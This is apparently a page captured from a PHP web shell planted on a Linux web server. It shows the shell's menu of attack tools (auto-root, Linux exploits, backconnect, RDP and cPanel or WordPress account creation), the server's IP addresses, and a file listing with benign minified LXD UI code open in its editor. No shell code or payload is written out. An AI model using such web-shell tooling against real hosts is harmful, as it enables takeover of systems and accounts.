Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.119.121.190
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
lxd /
33246 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
font
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-BXFyAEiG...
151
B
-rw-r--r--
BaseLayout-CiF2D8RH.js
280
B
-rw-r--r--
BulkDeleteButton-B-fvVwh0.js
1.08
KB
-rw-r--r--
CancelOperationBtn-BW2TAzI_.js
1.08
KB
-rw-r--r--
CertificateAdd-BGVwf-VB.js
2.84
KB
-rw-r--r--
CertificateGenerate-bNGS6BFl.j...
9.87
KB
-rw-r--r--
ClusterGroupForm-BiXmM-NU.js
3.25
KB
-rw-r--r--
ClusterList-CZFDB46f.js
5.17
KB
-rw-r--r--
ClusterMemberSelector-B2lzDpCI...
3.71
KB
-rw-r--r--
ClusterSpecificInput-BdiLVA9B....
1.97
KB
-rw-r--r--
ClusterSpecificSelect-DrKUzNev...
2.2
KB
-rw-r--r--
ConfigFieldDescription-BnRkdbo...
335
B
-rw-r--r--
CreateClusterGroup-C6s3qbZf.js
463
B
-rw-r--r--
CreateInstance-BXX4Xa4W.js
27.97
KB
-rw-r--r--
CreateInstanceFromImageBtn-BiE...
527
B
-rw-r--r--
CreateNetwork-BQw2A27w.js
2.88
KB
-rw-r--r--
CreateNetworkForward-BgZF8duA....
1.71
KB
-rw-r--r--
CreateProfile-CCJYKSCK.js
4.04
KB
-rw-r--r--
CreateProject-DTBqJzUb.js
2.83
KB
-rw-r--r--
CreateStoragePool-CuOutvs3.js
2.46
KB
-rw-r--r--
CreateStorageVolume-B0HvyGnH.j...
2.47
KB
-rw-r--r--
CustomIsoList-CQVv4whx.js
5.48
KB
-rw-r--r--
DeleteStoragePoolBtn-BeXLuEnA....
1.62
KB
-rw-r--r--
DeleteStorageVolumeBtn-DIIVYGa...
1.88
KB
-rw-r--r--
DiskSizeSelector-IT5APek6.js
1010
B
-rw-r--r--
EditClusterGroup-DiNIL0Lx.js
761
B
-rw-r--r--
EditNetworkForward-DtcWepYC.js
1.99
KB
-rw-r--r--
ExpandableList-EDeaeb6c.js
323
B
-rw-r--r--
FormEditButton-Cs2eW7Js.js
278
B
-rw-r--r--
FormFooterLayout-B3kcadYt.js
738
B
-rw-r--r--
FormLink-BaU-zsbe.js
879
B
-rw-r--r--
FormMenuItem-ChXfQsFA.js
2.23
MB
-rw-r--r--
FormMenuItem-DyX1CsEw.css
66.66
KB
-rw-r--r--
GroupOrIdentityChangesTable-DQ...
5.11
KB
-rw-r--r--
GroupSelectionActions-Dq47oQd-...
3.18
KB
-rw-r--r--
HelpLink-4LTOsqZO.js
294
B
-rw-r--r--
ImageList-yKBGTFZU.js
11.7
KB
-rw-r--r--
InstanceDetail-BV9hr65t.js
481.49
KB
-rw-r--r--
InstanceDetail-Beg8tuEN.css
3.88
KB
-rw-r--r--
InstanceLinkChip-DfVC8U01.js
4.24
KB
-rw-r--r--
InstanceList-CTEYE5e7.js
24.67
KB
-rw-r--r--
ItemName-DSOx0T0r.js
185
B
-rw-r--r--
Login-CsUYa7ns.js
1.41
KB
-rw-r--r--
Meter-BsdJ73XW.js
487
B
-rw-r--r--
NetworkDetail-RgSS_6Vw.js
12.8
KB
-rw-r--r--
NetworkForwardForm-C18aehvo.js
6.49
KB
-rw-r--r--
NetworkList-B4gWmGGm.js
6.32
KB
-rw-r--r--
NetworkListTable-Ba2LzF-J.js
3.31
KB
-rw-r--r--
NotificationRow-CotZPNAQ.js
157
B
-rw-r--r--
OperationList-D4--05cO.js
3.35
KB
-rw-r--r--
PageHeader-CExPjRLH.js
549
B
-rw-r--r--
PermissionGroups-CkGxgQmn.js
30.89
KB
-rw-r--r--
PermissionIdentities-DDmb7V-C....
12.93
KB
-rw-r--r--
PermissionIdpGroups-yggiVbcG.j...
13.38
KB
-rw-r--r--
ProfileDetail-CQHhNWwW.js
10.94
KB
-rw-r--r--
ProfileDetailsForm-C-rMcUGO.js
2.45
KB
-rw-r--r--
ProfileInstances-DeravO8Q.js
1.46
KB
-rw-r--r--
ProfileList-C7yC3g6E.js
7.11
KB
-rw-r--r--
ProgressBar-CQ2HKUqQ.js
170
B
-rw-r--r--
ProjectConfiguration-rKP8dZtz....
9.04
KB
-rw-r--r--
ProjectForm-GhClr0iv.js
15.12
KB
-rw-r--r--
ProtectedRoute-DYKGChU3.js
214
B
-rw-r--r--
ProxyDeviceForm-B5UDgi1V.js
38.9
KB
-rw-r--r--
RenameHeader-fmgiouA6.js
13.29
KB
-rw-r--r--
ResourceIcon-DZQOrBLA.js
532
B
-rw-r--r--
ResourceLabel-PzB_6v5p.js
317
B
-rw-r--r--
ResourceLink-CS7mH0C3.js
302
B
-rw-r--r--
ScrollableContainer-MJpEXCww.j...
646
B
-rw-r--r--
ScrollableTable-DWT33Lms.js
561
B
-rw-r--r--
SelectableMainTable-C8l8QdDe.j...
2.21
KB
-rw-r--r--
SelectedTableNotification-2DZb...
974
B
-rw-r--r--
Settings-BYi8qROs.js
9.75
KB
-rw-r--r--
SidePanel-DNeaRMst.js
2.84
KB
-rw-r--r--
SnapshotForm-DF9sGEzn.js
1.49
KB
-rw-r--r--
StoragePoolDetail-DT58PBIr.js
6.45
KB
-rw-r--r--
StoragePoolForm-Z62B6Fuh.js
17.07
KB
-rw-r--r--
StoragePoolSelectTable-CXuxJSN...
1.61
KB
-rw-r--r--
StoragePoolSelector-DEvMjaMu.j...
1.48
KB
-rw-r--r--
StoragePoolSize-DyBNKBKy.js
467
B
-rw-r--r--
StoragePools-DK0Gkjq9.js
3.99
KB
-rw-r--r--
StorageUsedBy-sdKGRlgM.js
2.12
KB
-rw-r--r--
StorageVolumeDetail-fQzbPWNW.j...
24.87
KB
-rw-r--r--
StorageVolumeForm-ZPfwK39D.js
8.42
KB
-rw-r--r--
StorageVolumes-DPotlIN6.js
7.26
KB
-rw-r--r--
StorageVolumesFilter-B7pR3OeF....
1.01
KB
-rw-r--r--
TabLinks-BIG_Rdvk.js
360
B
-rw-r--r--
UploadCustomIso-DG12FhN0.js
2.83
KB
-rw-r--r--
UsedByItem-VHA3kVFG.js
945
B
-rw-r--r--
VolumeAddSnapshotBtn-8Qz9xFE-....
4.87
KB
-rw-r--r--
WarningList-DZNTQSpg.js
1.99
KB
-rw-r--r--
YamlNotification-BnmI52ws.js
634
B
-rw-r--r--
YamlSwitch-BXLuxWUh.js
40.62
KB
-rw-r--r--
certificate-kcThcTS9.js
279.99
KB
-rw-r--r--
clusterGroups-BWQNdGSD.js
3.63
KB
-rw-r--r--
images-Du2fhDUO.js
1.22
KB
-rw-r--r--
index-BeIaaTgz.css
661.94
KB
-rw-r--r--
index-BkTFFYvy.js
690.52
KB
-rw-r--r--
index-DW_MHI2K.js
34.19
KB
-rw-r--r--
index.esm-auJ3G_FM.js
38.36
KB
-rw-r--r--
instanceDelete-Bn3xn_NE.js
12.2
KB
-rw-r--r--
instanceOptions-BuFjjn-P.js
1.19
KB
-rw-r--r--
network-forwards-B-h1Yzp9.js
856
B
-rw-r--r--
operations-DIvBacJG.js
757
B
-rw-r--r--
projects-CvA2zMPN.js
789
B
-rw-r--r--
scroll-DPmbgfny.js
26.97
KB
-rw-r--r--
searchAndFilter-DtC_P-vv.js
361
B
-rw-r--r--
snapshots-CEDJtMaf.js
670
B
-rw-r--r--
storage-volumes-tfXkh9eB.js
2.46
KB
-rw-r--r--
useGroups-CCX3qCzO.js
2.91
KB
-rw-r--r--
useImages-LgCYWVgs.js
1.64
KB
-rw-r--r--
useNetworks-D3nHf8AE.js
3.63
KB
-rw-r--r--
useSmallScreen-BvsjT919.js
169
B
-rw-r--r--
useSortTableData-BoXaK1oA.js
393
B
-rw-r--r--
useVolumes-BvpfNVaA.js
1.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StoragePoolDetail-DT58PBIr.js
import{f as F,d as i,k as P,r as x,U as T,c as C,bm as V,j as e,e as I,B as U,H as B,p as _,l as A,o as R,K as L,bn as H,M as Y,bo as G,bp as K,q as Q,bq as J,I as j,br as W,L as X,C as Z}from"./index-BkTFFYvy.js";import{R as ee,F as te}from"./RenameHeader-fmgiouA6.js";import{c as M,a as $}from"./index.esm-auJ3G_FM.js";import{D as se,u as ae}from"./DeleteStoragePoolBtn-BeXLuEnA.js";import{R as k}from"./ResourceLink-CS7mH0C3.js";import{N as oe}from"./NotificationRow-CotZPNAQ.js";import{S as re}from"./StoragePoolSize-DyBNKBKy.js";import{S as ie}from"./StorageUsedBy-sdKGRlgM.js";import{a as y,t as ne,M as v,Y as N,S as le}from"./StoragePoolForm-Z62B6Fuh.js";import{F as ce}from"./FormFooterLayout-B3kcadYt.js";import{y as de,c as me}from"./YamlSwitch-BXLuxWUh.js";import{T as ue}from"./TabLinks-BIG_Rdvk.js";import"./ItemName-DSOx0T0r.js";import"./useSmallScreen-BvsjT919.js";import"./ResourceLabel-PzB_6v5p.js";import"./ResourceIcon-DZQOrBLA.js";import"./Meter-BsdJ73XW.js";import"./ExpandableList-EDeaeb6c.js";import"./UsedByItem-VHA3kVFG.js";import"./useImages-LgCYWVgs.js";import"./index-DW_MHI2K.js";import"./DiskSizeSelector-IT5APek6.js";import"./FormMenuItem-ChXfQsFA.js";import"./instanceOptions-BuFjjn-P.js";import"./ConfigFieldDescription-BnRkdboG.js";import"./AutoExpandingTextArea-BXFyAEiG.js";import"./ScrollableTable-DWT33Lms.js";import"./snapshots-CEDJtMaf.js";import"./ClusterSpecificInput-BdiLVA9B.js";import"./FormEditButton-Cs2eW7Js.js";import"./ScrollableContainer-MJpEXCww.js";const pe=({name:t,pool:l,project:s})=>{const a=F(),n=i.useNotify(),g=P(),o=x.useState(null),u=M().shape({name:$().test(...T(s,o)).required("This field is required")}),c=C({initialValues:{name:t,isRenaming:!1},validationSchema:u,onSubmit:d=>{if(t===d.name){c.setFieldValue("isRenaming",!1),c.setSubmitting(!1);return}V(t,d.name).then(()=>{const m=`/ui/project/${s}/storage/pool/${d.name}`;a(m),g.success(e.jsxs(e.Fragment,{children:["Storage pool ",e.jsx("strong",{children:t})," renamed to"," ",e.jsx(k,{type:"pool",value:d.name,to:m}),"."]})),c.setFieldValue("isRenaming",!1)}).catch(m=>{n.failure("Renaming failed",m)}).finally(()=>{c.setSubmitting(!1)})}});return e.jsx(ee,{name:t,parentItems:[e.jsx(I,{to:`/ui/project/${s}/storage/pools`,children:"Storage pools"},1)],controls:[e.jsx(se,{pool:l,project:s,shouldExpand:!0},"delete")],isLoaded:!0,formik:c,renameDisabledReason:"Cannot rename storage pools"})},he=({pool:t,project:l})=>{var a,n;const s=()=>{B("storage-overview-tab")};return x.useEffect(s,[l,t]),U("resize",s),e.jsxs("div",{className:"storage-overview-tab",children:[e.jsxs(i.Row,{className:"section",children:[e.jsx(i.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"General"})}),e.jsx(i.Col,{size:7,children:e.jsx("table",{children:e.jsxs("tbody",{children:[e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Name"}),e.jsx("td",{children:t.name})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Status"}),e.jsx("td",{children:t.status})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Size"}),e.jsx("td",{children:e.jsx(re,{pool:t,hasMeterBar:!0})})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Source"}),e.jsx("td",{children:((a=t.config)==null?void 0:a.source)??"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Description"}),e.jsx("td",{children:t.description?t.description:"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Driver"}),e.jsx("td",{children:t.driver})]})]})})})]}),e.jsxs(i.Row,{className:"section",children:[e.jsx(i.Col,{size:3,children:e.jsxs("h2",{className:"p-heading--5",children:["Used by (",((n=t.used_by)==null?void 0:n.length)??0,")"]})}),e.jsx(i.Col,{size:7,children:e.jsx(ie,{storage:t,project:l})})]})]})},ge=({pool:t})=>{const l=F(),s=i.useNotify(),{data:a}=_(),n=P(),g=A(),{project:o,section:u}=R(),c=x.useState(null),{data:d=[]}=L(),[m,D]=x.useState(0),{canEditPool:w}=ae();if(!o)return e.jsx(e.Fragment,{children:"Missing project"});const{data:S=[],error:f}=H(t.name);x.useEffect(()=>{f&&s.failure("Loading storage pool from cluster members failed",f)},[f]);const E=M().shape({name:$().test("deduplicate","A pool with this name already exists",async r=>r===t.name||Y(r,o,c,"storage-pools")).required("This field is required")}),q=w(t)?void 0:"You do not have permission to edit this pool",p=C({initialValues:y(t,S,q),validationSchema:E,enableReinitialize:!0,onSubmit:r=>{const h=r.yaml?de(r.yaml):ne(r);(d.length>0?async()=>G(h,d,r.sizePerClusterMember):async()=>K(h))().then(()=>{n.success(e.jsxs(e.Fragment,{children:["Storage pool"," ",e.jsx(k,{type:"pool",value:h.name,to:`/ui/project/${o}/storage/pool/${h.name}`})," ","updated."]}))}).catch(O=>{s.failure("Storage pool update failed",O)}).finally(()=>{p.setSubmitting(!1),g.invalidateQueries({queryKey:[Q.storage]})})}}),b=r=>{const h=`/ui/project/${o}/storage/pool/${t.name}/configuration`;l(r===v?h:`${h}/${j(r)}`)},z=J(a).has(p.values.driver)?j(v):j(N);return e.jsxs("div",{className:"edit-storage-pool",children:[e.jsx(le,{formik:p,section:u??z,setSection:b,version:m}),e.jsxs(ce,{children:[e.jsx(me,{formik:p,section:u,setSection:b}),p.values.readOnly?null:e.jsxs(e.Fragment,{children:[e.jsx(i.Button,{appearance:"base",onClick:()=>{D(r=>r+1),p.setValues(y(t,S))},children:"Cancel"}),e.jsx(te,{formik:p,isYaml:u===j(N),disabled:!p.values.name})]})]})]})},Qe=()=>{var m;const t=i.useNotify(),{data:l=[]}=L(),{name:s,project:a,activeTab:n}=R();if(!s)return e.jsx(e.Fragment,{children:"Missing name"});if(!a)return e.jsx(e.Fragment,{children:"Missing project"});const g=((m=l[0])==null?void 0:m.server_name)??void 0,{data:o,error:u,isLoading:c}=W(s,g);if(u&&t.failure("Loading storage details failed",u),c)return e.jsx(X,{text:"Loading storage details..."});if(!o)return e.jsx(e.Fragment,{children:"Loading storage details failed"});const d=["Overview","Configuration",{component:()=>e.jsxs("a",{href:`/ui/project/${a}/storage/volumes?pool=${o.name}`,className:"p-tabs__link",children:["Volumes ",e.jsx(i.Icon,{name:"external-link"})]}),label:"Volumes"}];return e.jsxs(Z,{header:e.jsx(pe,{name:s,pool:o,project:a}),contentClassName:"detail-page",children:[e.jsx(oe,{}),e.jsxs(i.Row,{children:[e.jsx(ue,{tabs:d,activeTab:n,tabUrl:`/ui/project/${a}/storage/pool/${s}`}),!n&&e.jsx("div",{role:"tabpanel","aria-labelledby":"overview",children:e.jsx(he,{pool:o,project:a})}),n==="configuration"&&e.jsx("div",{role:"tabpanel","aria-labelledby":"configuration",children:e.jsx(ge,{pool:o})})]})]})};export{Qe as default};
Close